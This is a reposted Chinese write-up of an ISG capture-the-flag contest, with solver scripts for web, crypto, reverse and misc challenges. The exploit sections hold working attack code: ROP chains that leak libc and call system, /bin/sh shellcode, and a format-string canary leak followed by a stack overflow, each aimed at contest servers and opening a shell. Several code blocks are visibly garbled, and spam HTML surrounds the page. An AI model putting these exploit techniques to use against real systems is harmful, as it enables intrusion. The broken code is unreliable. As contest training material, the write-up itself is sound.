<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/3170

            所有文件打包下載:ISG.zip

            Smile Web 200

            php 源代碼審計

            enter image description here

            Cryptobaby Crypto 100

            ?按照程序邏輯,把 0x403018 處的數據按 131 進制分開成字符即可。

            Pwnme Exploit 300

            漏洞為很明顯的棧溢出,但沒有提供 libc,需要自行獲取 libc 中的函數地址。

            在這里我們使用 pwntools 來獲取 system 的地址,把參數寫在 data 段并最終執行。

            執行 system 時有很奇怪的偏移問題這里稍微調整了一下最后執行 system gadget 在棧上的位置。

            #!python
            ?????#!/usr/bin/env python2
            from zio import * 
            from pwn import *
            
            @MemLeak
            def leak_write(addr):
                io.read_until('Pwn me if you can:\n')
                payload = 'A' * 24 + l64(poprdi) + l64(1) + l64(poprsi) + l64(addr) + junk +
            l64(write_plt) + l64(main) 
                io.write(payload.ljust(0x100, 'A'))
                ret = io.read(256) 
                return ret
            
            target = './pwnme'
            target = ('202.120.7.69', 34343)
            
            poprdi = 0x400663
            poprsi = 0x400661 # pop rsi; pop r15; ret ret = 0x400664
            write_got = 0x601018
            write_plt = 0x400480
            main = 0x4005bd
            junk = 'J' * 8
            data = 0x601040
            read_plt = 0x4004a0
            
            io = zio(target, print_read=False, print_write=False, timeout=100000)
            
            elf = DynELF('./pwnme', leak_write) 
            system = elf.lookup('system') 
            log.success('system: %s' % hex(system))
            
            io.read_until('Pwn me if you can:\n')
            payload = 'A' * 24 + l64(poprdi) + l64(0) + l64(poprsi) + l64(data) + junk + l64(read_plt) + l64(poprdi) + l64(data) + l64(ret) * 5 + l64(system)
            io.write(payload.ljust(0x100, 'A'))
            io.write('cat /home/pwnme/flag\0'.ljust(0x100, 'A'))
            io.interact()
            

            ???SQLMAP Misc 100

            題目提供了 sqlmap 運行時的流量,按照 SQL 語句及執行結果推斷每個字節即可。

            #!python
            ?????#!/usr/bin/env python2
            
            import sys, re
            
            def remove(idx, sign, value):
                sub = xrange(0, value) if sign == '<' else xrange(value + 1, 256) 
                for i in sub:
                  if i in ans[idx]: 
                      ans[idx].remove(i)
            
            f = open(sys.argv[1]).read().strip().split('\n') 
            f = map(lambda x: x.split(':', 2)[1:], f)
            ans = [set(xrange(256)) for _ in xrange(40)]
            
            for x in f:
                sql = x[0]
                mo = re.search(r'LIMIT 0,1\),(\d+),1\)\)([><])(\d+)', sql) 
                if mo:
                    idx, sign, v = mo.groups() 
                    idx = int(idx)
                    v = int(v)
                    #print idx, sign, v
                    if len(x[1].strip()) == 0:
                        remove(idx, sign, v) 
                    else:
                        if sign == '<':
                            remove(idx, '>', v - 1)
                        else:
                            remove(idx, '<', v + 1)
            
            for i in xrange(len(ans)): 
                if len(ans[i]) == 1:
                    sys.stdout.write(chr(list(ans[i])[0]))
            print
            

            ???###WANGRANGE Reverse 100

            逆向發現,輸出只和所有輸入字符的 XOR 結果和字符長度有關,要構造“ISG{”開頭的輸出,首先 解出 4 個關鍵的數,然后依次生成完整的輸出字符串。

            #!python
            #!/usr/bin/env python2
            dict_ = {'P':'+', 'M':'-', 'U':'*', 'V':'/', 'X':'^', ' ':')&0xffffffff)'} 
            for i in xrange(10):
                dict_[chr(ord('A') + i)] = str(i)
            
            def calc(num, s): 
                ss = ''
                count = 0
                for i in xrange(len(s)):
                    ss += dict_[s[i]] 
                    if s[i] == ' ':
                        count += 1 
                if ss[0] in '0123456789'
                    ss = str(num) + '+' + ss 
                else:
                    ss = str(num) + ss
                ss = count * 2 * '(' + ss 
                return ss
            
            exe = open('wangrange_b3e5c26e63ac1af881a1afe734a4a439').read() 
            data = exe[0x15b4:0x1a83 - 0x11b4 + 0x15b4]
            i=0
            lines = []
            for line in data.split('\x20\0'):
                line = line.replace('\0' , '' ).strip()
                if line != '':
                    lines.append(line) 
                    i += 1
            
            PREFIX = 'ISG{' 
            keys = {}
            for i in xrange(4):
                for k in xrange(256):
                    if eval(calc(k, lines[i])) % 256 == ord(PREFIX[i]):
                        keys[i] = k
            ?
            flag = ''
            for i in xrange(len(lines)):
                c = chr(eval(calc(keys[i % 4], lines[i])) % 256) 
                flag += c
            
            print ' % flag
            

            ????哼!Misc 200

            發現附件中有兩張圖片,分別另存為 bmp 后做 diff 發現左下角處的像素不同,其中一張固定為 0 或 1。把不同部分的 01 串提取出來按 8bit 組成一個字節即為 flag。

            Chopper Misc 100

            把流量中下載 x.tar.gz 部分提取出來解壓即為 flag。

            RSA SYSTEM Crypto 250

            使用選擇密文攻擊的方法即可。

            #!python
            #!/usr/bin/env python2
            from zio import * 
            import fractions
            
            def encrypt(x): 
                io.read_until('Command:\n') 
                io.writeline('1') 
                io.read_until('Input Plaintext:\n') 
                io.writeline(str(x)) 
                io.read_until('Your ciphertext:\n') 
                return int(io.readline())
            
            def secret(): 
                io.read_until('Command:\n') 
                io.writeline('3') 
                io.read_until('I have no bug\n') 
                return int(io.readline())
            
            def decrypt(x): 
                io.read_until('Command:\n') 
                io.writeline('2') 
                io.read_until('Input Ciphertext:\n') 
                io.writeline(str(x)) 
                io.read_until('Your plaintext:\n') 
                return int(io.readline())
            
            HOST = '202.120.7.71'
            PORT = 43434
            io = zio((HOST, PORT))
            t2 = encrypt(2) ** 2 - encrypt(4) t3 = encrypt(3) ** 2 - encrypt(9) n = fractions.gcd(t2, t3)
            ans = secret() * encrypt(2) % n
            ans = decrypt(ans)
            print hex(ans / 2)[2:-1].decode('hex')
            

            ???Find Shell Web 200

            windows + apache2 短文件名,上傳任意文件后用文件名 md5 的前 6 位加上~1 即可訪問到上傳 的東西,內容即是 FLAG。

            Track4! Reverse 200

            先通過逆向大致看懂程序邏輯,考慮到 FLAG 包含 ISG{},可以從 trace 中定位到 00401178 處含 有 flag。把第 8,16,24,...次執行到該語句時的字符拼起來即為 flag。

            X-Area Web 300

            首先是社工部分,可以找到 [email protected] 的密碼泄露過,是 zasada911,但很想吐 槽的是為啥這個密碼是 zasada。。。。

            進去之后就是簡單的 php 源代碼審計,需要跑一個 hash,然后解碼:

            enter image description here

            enter image description here

            AFERE Misc 200

            使用這個工具解壓 apk:https://github.com/blueboxsecurity/DalvikBytecodeTampering

            驗證算法為 DES+base64 的簡單替換,寫腳本求解即可。

            #!python
            #!/usr/bin/env python2
            from base64 import b64decode 
            from Crypto.Cipher import DES
            
            base64_chars =?'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
            chars =?'S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+*'
            dict_ = {}
            for i in xrange(len(chars)):
                dict_[chars[i]] = base64_chars[i]
            
            ciphertext = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'
            new_ciphertext = ''
            for c in ciphertext:
                new_ciphertext += dict_[c][/c]
            
            ciphertext = b64decode(new_ciphertext) 
            key = 'Mem3d4Da'
            des = DES.new(key, DES.MODE_ECB)
            flag = des.decrypt(ciphertext)
            print ' % flag : s%' % flag
            

            ????###Checkin Exploit 200

            調試發現,在溢出函數的返回點上,輸入字符串的結尾 8 字節存儲在了 rbp 中,因此在這里存儲 上/bin/sh,再構造 shellcode 即可。

            #!python
            #!/usr/bin/env python2
            from zio import *
            
            # shellcode(rbp => '/bin//sh'): 
            #a: 99              cltd
            #b: 89 de           mov %ebx,%esi 
            #d: 53              push %rbx
            #e: 55              push %rbp
            #f: 48 89 e7        mov %rsp,%rdi 
            #12: 6a 3b          pushq $0x3b
            #14: 58             pop %rax
            #15: 0f 05          syscall    
            
            call_rax = 0x40070d
            shellcode = '9989de53554889e76a3b580f05'.decode('hex') + '\x90' + '/bin//sh'
            
            host = '202.120.7.73' 
            port = 44445
            io = zio((host, port))
            
            payload = shellcode + l64(call_rax)[:6] 
            io.write(payload)
            
            io.interact()
            

            ????????GIF Misc 50

            GIF 第二幀為一二維碼,內容即為 flag。

            丫丫 Crypto 400

            流量中包含了 7 組公鑰和密文。考慮到 e=3,使用 H?stad's Broadcast Attack 方法,可使用中國剩余定理對原文求解。發現 7 組原文并不完全相同,從中枚舉 3 個嘗試解密最終獲得 flag。

            #!python
            #!/usr/bin/env python2
            from operator import mod, mul, sub, add 
            import re, os, collections, sys
            import fractions
            import itertools
            
            def eea(a,b):
                """Extended Euclidean Algorithm for GCD""" 
                v1 = [a,1,0]
                v2 = [b,0,1]
                while v2[0]<>0:
                    p = v1[0]//v2[0] # floor division
                    v2, v1 = map(sub,v1,[p*vi for vi in v2]), v2 
                return v1
            
            def inverse(m,k): 
                """
                Return b such that b*m mod k = 1, or 0 if no solution 
                """
                v = eea(m,k)
                return (v[0]==1)*(v[1] % k)
            
            def crt(ms, _as): 
                """
                Chinese Remainder Theorem:
                ms = list of pairwise relatively prime integers as = remainders when x is divided by ms
                (ai is 'each in as', mi 'each in ms')
            
                The solution for x modulo M (M = product of ms) will be:
                x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
                where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r. 
                """
            
                M = reduce(mul,ms) # multiply ms together 
                Ms=[M/miformiinms] #listofallM/mi
                ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ms)] # uses inverse,eea 
                return reduce(add,[ai*Mi*yi for ai,Mi,yi in zip(_as,Ms,ys)]) % M
            
            def find_invpow(x,n):
                """Finds the integer component of the n'th root of x,
                an integer such that y ** n 
                """
                high = 1
                while high ** n < x:
                    high *= 2
                low = high/2
                while low < high:
                    mid = (low + high) // 2 
                    if low < mid and mid**n < x:
                        low = mid
                    elif high > mid and mid**n > x:
                            high = mid
                    else:
                        return mid
                return mid + 1
            ?
            div = []
            rem = []
            
            dic = collections.defaultdict(dict) 
            base_dir = sys.argv[1]
            
            for i in os.listdir(base_dir):
                if re.search('getEncryptionKey.*\.php', i):
                    f = open(base_dir + '/' + i).read()
                    n, rkey = re.search(r'"n":"([0-9a-f]+)".*?"rkey":"([0-9a-f]+)"', f).groups() 
                    dic[rkey]['n'] = int(n, 16)
            
                if re.search('login.*\.php', i):
                    f = open(base_dir + '/' + i).read()
                    c, rkey = re.search(r'pwd=([0-9a-f]+)&rkey=([0-9a-f]+)', f).groups() 
                    dic[rkey]['c'] = int(c, 16)
            
            for rkey in itertools.combinations(dic, 3):
                div, rem = zip(*map(lambda x:(dic[x]['n'], dic[x]['c']), rkey))
                cube = crt(div, rem)
                for i in xrange(3):
                    assert cube % div[i] == rem[i]
            
                x = find_invpow(cube, 3) 
                if x ** 3 != cube:
                    continue
                print hex(x)[3:-1].decode('hex')
            

            ???BT Reverse 350

            #!python
            #!/usr/bin/env python2
            
            s=?"g{3q9OLNZ_bVWCyJk l sh c ax r d6 A MY t Iv P 4u i TS Q eB n Xz o R7 H U2 p F5 G Km 8 Dw } Ej f "
            msg = [3179, 2649, 729, 48, 487, 3189, 2177, 2650, 5789, 4380, 2160, 1350, 5789, 1736, 144, 2160, 4393, 1014, 5054, 3755, 49, 5789, 724, 5067, 6544, 2160, 3189, 724, 2160, 4368, 1743, 720, 1008, 293]
            
            class Node: pass
            
            def construct(it): 
                character = next(it) 
                if character != ' ':
                    node = Node() 
                    node.character = character 
                    node.left = construct(it) 
                    node.right = construct(it) 
                    return node
            
            it = iter(s)
            
            ????
            root = construct(it) 
            assert len(list(it)) == 0
            
            lookup = {}
            def traverse(node, depth, num):
                lookup[num] = node.character 
                depth += 1
                if node.left:
                    traverse(node.left, depth, num + 48 * depth) 
                if node.right:
                    traverse(node.right, depth, num + 49 * depth) 
            
            traverse(root, depth=0, num=0)
            
            print ''.join(lookup[x] for x in msg)
            

            ????###Out of Space Misc 200

            對.net 程序分析可知需要計算’ISG’* 0xfa00000000 的 sha1。于是寫程序計算即可。需要注意.net 中的格式輸出問題。

            #!cpp
            #include <openssl/sha.h> 
            #include <cstdio> 
            #include <cstring>
            
            int main() {
                SHA_CTX c;
                SHA1_Init(&c);
                static const long BUF_SIZE = 3 << 10; 
                char buf[BUF_SIZE];
                for (int i = 0; i < BUF_SIZE; i += 3)
                    memcpy(buf + i, "ISG", 3);
                long dest = 0xfa00000000L;
                long total = dest / (BUF_SIZE / 3);
            
                for (long i = 0; i < total; ++i) { 
                    SHA1_Update(&c, buf, BUF_SIZE); 
                    if (i % 0x100000 == 0)
                        printf("%ld / %ld\n", i, total);
                }
                unsigned char ans[SHA_DIGEST_LENGTH]; 
                SHA1_Final(ans, &c);
                printf("ISG{");
                printf("%02x", ans[0]);
                for (int i = 1; i < SHA_DIGEST_LENGTH; ++i)
                    printf("-%02x", ans[i]); 
                printf("}\n");
                return 0; 
            }
            

            ???

            Library Exploit 250

            在 register 功能中只能輸入 15 字節長度來觸發格式化字符串漏洞,且%字符數量有限,因此考慮 用格式化字符串漏洞泄露出 stack canary,并將某關鍵計數改大,然后再利用 query 功能中的棧 溢出來獲取 shell。

            #!python
            #!/usr/bin/env python2
            from zio import *
            
            target = ('202.120.7.68', 23333)
            io = zio(target, print_read=False, print_write=False) 
            
            count_addr = 0x804b008
            
            io.read_until('4. Quit\n') 
            io.write('1\n')
            
            payload = l32(count_addr + 3) + '%35$p%10$hn\n' 
            io.write(payload)
            io.read_until('0x')
            canary = io.read(8).decode('hex')[::-1]
            print '[+] canary : %s' % canary.encode('hex')
            io.read_until(?'4. Quit\n')
            
            put_plt = 0x8048520 
            printf_got = 0x804afc8 
            read_plt = 0x80484d0 
            junk = 'JJJJ'
            popret = 0x8048c3f
            pop3ret = 0x8048c3d
            new_stack = 0x804bf30
            leave_ret = 0x8048aa6
            
            
            io.write('2\n')
            payload = 'A' * 0x100 + canary + 'A' * 12
            payload += l32(put_plt) + l32(popret) + l32(printf_got)
            payload += l32(read_plt) + l32(pop3ret) + l32(0) + l32(new_stack) + l32(32)
            payload += l32(popret) +  l32(new_stack) + l32(leave_ret)
            payload += '\n'
            
            io.write(payload) 
            io.read_until(':\'(\n')
            printf = l32(io.read(4))
            print '[+] printf : %s' % hex(printf)
            system = printf - 0x4d1f0 + 0x40100 
            binsh = printf - 0x4d1f0 + 0x161304 
            print '[+] system : %s' % hex(system) 
            print '[+] binsh : %s' % hex(binsh)
            
            payload = junk + l32(system) + junk + l32(binsh) 
            io.write(payload.ljust(32, 'A'))
            
            io.interact()
            

            ????Safesite Web 400

            Up-to-Date Web 100

            bash 漏洞,flag 在/var/www 下 ?

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线